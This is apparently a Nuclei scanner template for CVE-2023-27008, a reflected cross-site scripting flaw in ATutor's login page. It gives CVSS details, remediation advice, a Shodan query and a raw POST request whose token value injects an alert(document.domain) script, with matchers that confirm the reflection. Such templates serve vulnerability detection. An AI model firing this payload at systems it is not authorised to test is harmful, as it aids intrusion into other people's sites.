id: CVE-2023-27008 info: name: ATutor < 2.2.1 - Cross Site Scripting author: r3Y3r53 severity: medium description: | ATutor < 2.2.1 was discovered with a vulnerability, a reflected cross-site scripting (XSS), in ATtutor 2.2.1 via token body parameter. remediation: | Upgrade ATutor to version 2.2.2 or above to mitigate this vulnerability. reference: - https://nvd.nist.gov/vuln/detail/CVE-2023-27008 - https://plantplants213607121.wordpress.com/2023/02/16/atutor-2-2-1-cross-site-scripting-via-the-token-body-parameter/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2023-27008 cwe-id: CWE-79 epss-score: 0.00081 epss-percentile: 0.33909 cpe: cpe:2.3:a:atutor:atutor:2.2.1:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: atutor product: atutor shodan-query: http.html:"Atutor" tags: cve,cve2023,xss,atutor http: - raw: - | POST /atutor/login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded token=asdf");}alert(document.domain);+function+asdf()+{// matchers-condition: and matchers: - type: word part: body words: - ");}alert(document.domain); function" - "ATutor" - "Login" condition: and - type: word part: header words: - text/html - type: status status: - 200 # digest: 4a0a00473045022100b8f55a0369dc71d8b9406ac9054b6c0b57c79cd12f6d31f1e983bbcf992350810220784b2174d9195fca6724b57f6dc87986416ed0e583f01411146a19b7acbcfa96:922c64590222798bb761d5b6d8e72950